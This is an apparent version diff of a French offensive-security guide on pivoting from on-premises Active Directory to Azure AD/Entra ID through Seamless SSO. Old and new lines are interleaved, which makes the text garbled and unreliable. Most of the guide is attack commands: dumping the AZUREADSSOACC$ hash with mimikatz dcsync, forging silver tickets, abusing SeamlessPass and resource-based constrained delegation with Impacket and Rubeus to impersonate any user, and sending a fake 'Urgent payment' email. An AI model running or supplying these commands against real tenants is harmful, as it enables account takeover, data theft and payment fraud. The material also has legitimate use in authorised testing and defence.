**Azure AD** expose un **point de terminaison** (https://autologon.microsoftazuread-sso.com) qui accepte les **tickets** Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO.
|
||||
**Entra ID** expose un **point de terminaison** (https://autologon.microsoftazuread-sso.com) qui accepte les **tickets** Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO.
|
||||
|
||||
### Sur site -> cloud
|
||||
### Énumération
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hash de ce compte**, puis l'utiliser pour **créer des tickets argentés** pour se connecter à Azure avec **tout utilisateur sur site synchronisé** :
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting : Sur site -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> La principale chose à savoir sur cette attaque est que le simple fait d'avoir le TGT ou un TGS spécifique d'un utilisateur synchronisé avec Entra ID suffit pour accéder aux ressources cloud.\
|
||||
> C'est parce que c'est un ticket qui permet à un utilisateur de se connecter au cloud.
|
||||
|
||||
Pour obtenir ce ticket TGS, l'attaquant doit avoir l'un des éléments suivants :
|
||||
- **Un TGS d'utilisateur compromis :** Si vous compromettez la session d'un utilisateur avec le ticket pour `HTTP/autologon.microsoftazuread-sso.com` en mémoire, vous pouvez l'utiliser pour accéder aux ressources cloud.
|
||||
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de TGT falsifié implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Un hash ou un mot de passe d'utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT puis le TGS.
|
||||
- **Un ticket doré :** Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
||||
- **Le hash ou le mot de passe du compte AZUREADSSOACC$ :** Avec ces informations et l'identifiant de sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), avoir l'un des prérequis précédents rend très facile l'utilisation de l'outil **SeamlessPass** pour accéder aux ressources cloud en tant qu'utilisateur compromis, ou en tant que n'importe quel utilisateur si vous avez le hash ou le mot de passe du compte **`AZUREADSSOACC$`**.
|
||||
|
||||
Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtention des hachages du compte AZUREADSSOACC$
|
||||
|
||||
Le **mot de passe** de l'utilisateur **`AZUREADSSOACC$` ne change jamais**. Par conséquent, un administrateur de domaine pourrait compromettre le **hachage de ce compte**, puis l'utiliser pour **créer des tickets argent** pour se connecter à Azure avec **n'importe quel utilisateur sur site synchronisé** :
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Avec le hash, vous pouvez maintenant **générer des tickets argent** :
|
||||
> [!NOTE]
|
||||
> Avec les informations actuelles, vous pourriez simplement utiliser l'outil **SeamlessPass** comme indiqué précédemment pour obtenir des tokens azure et entraid pour n'importe quel utilisateur du domaine.
|
||||
> Vous pourriez également utiliser les techniques précédentes (et d'autres) pour obtenir le hash du mot de passe de la victime que vous souhaitez imiter au lieu du compte `AZUREADSSOACC$`.
|
||||
|
||||
#### Création de Silver Tickets
|
||||
|
||||
Avec le hash, vous pouvez maintenant **générer des silver tickets** :
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Utilisation des Silver Tickets avec Firefox
|
||||
|
||||
Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées :
|
||||
|
||||
1. **Initier le Navigateur :** Mozilla Firefox doit être lancé.
|
||||
1. **Lancer le Navigateur :** Mozilla Firefox doit être lancé.
|
||||
2. **Configurer le Navigateur :**
|
||||
- Naviguez vers **`about:config`**.
|
||||
- Définissez la préférence pour [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) aux [valeurs](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) spécifiées :
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Définissez la préférence pour [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) sur la [valeur](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) spécifiée :
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Allez dans `Paramètres` de Firefox > Recherchez `Autoriser l'authentification unique Windows pour les comptes Microsoft, de travail et scolaires` et activez-le.
|
||||
3. **Accéder à l'Application Web :**
|
||||
- Visitez une application web qui est intégrée au domaine AAD de l'organisation. Un exemple courant est [Office 365](https://portal.office.com/).
|
||||
- Visitez une application web qui est intégrée au domaine AAD de l'organisation. Un exemple courant est [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Processus d'Authentification :**
|
||||
- À l'écran de connexion, le nom d'utilisateur doit être saisi, en laissant le champ du mot de passe vide.
|
||||
- Pour continuer, appuyez sur TAB ou ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Cela ne contourne pas la MFA si elle est activée
|
||||
> [!WARNING]
|
||||
> Cela **ne contourne pas la MFA si elle est activée** pour l'utilisateur.
|
||||
|
||||
#### Option 2 sans dcsync - SeamlessPass
|
||||
|
||||
Il est également possible d'effectuer cette attaque **sans une attaque dcsync** pour être plus furtif comme [expliqué dans cet article de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Pour cela, vous n'avez besoin que de l'un des éléments suivants :
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
- **Un TGT d'utilisateur compromis :** Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) et [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket** : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.
|
||||
- **Un hash NTLM ou une clé AES d'un utilisateur compromis :** SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.
|
||||
- **Hash NTLM ou clé AES du compte AZUREADSSOACC$ :** Avec ces informations et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).
|
||||
Pour effectuer l'attaque, il est nécessaire :
|
||||
|
||||
Enfin, avec le TGT, il est possible d'utiliser l'outil [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) avec :
|
||||
- `WriteDACL` / `GenericWrite` sur `AZUREADSSOACC$`
|
||||
- Un compte d'ordinateur que vous contrôlez (hash & mot de passe) - Vous pourriez en créer un
|
||||
|
||||
|
||||
1. Étape 1 – Ajoutez votre propre compte d'ordinateur
|
||||
- Crée `ATTACKBOX$` et imprime son SID/NTLM hash. Tout utilisateur de domaine peut le faire tant que MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
2. Étape 2 – Accorder RBCD sur `AZUREADSSOACC$` - Écrit le SID de votre machine dans `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être [**trouvées dans cet article de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
3. Étape 3 – Forger un TGS pour n'importe quel utilisateur (par exemple : alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
#### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent également être **créés pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Vous pouvez maintenant utiliser le **TGS pour accéder aux ressources Azure en tant qu'utilisateur usurpé.**
|
||||
|
||||
|
||||
### ~~Création de tickets Kerberos pour les utilisateurs uniquement cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent **définir le SID pour tout utilisateur cloud**. De cette manière, des **tickets** Kerberos peuvent être **créés également pour les utilisateurs uniquement cloud**. La seule exigence est que le SID soit un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant **bloqué par Microsoft**.\
|
||||
> Pour plus d'infos, consultez [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### Sur site -> Cloud via Délégation Contraignante Basée sur les Ressources <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Quiconque peut gérer des comptes d'ordinateur (`AZUREADSSOACC$`) dans le conteneur ou l'OU où se trouve ce compte peut **configurer une délégation contrainte basée sur les ressources sur le compte et y accéder**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## Références
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: Je suis dans votre cloud, lisant les e-mails de tout le monde - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user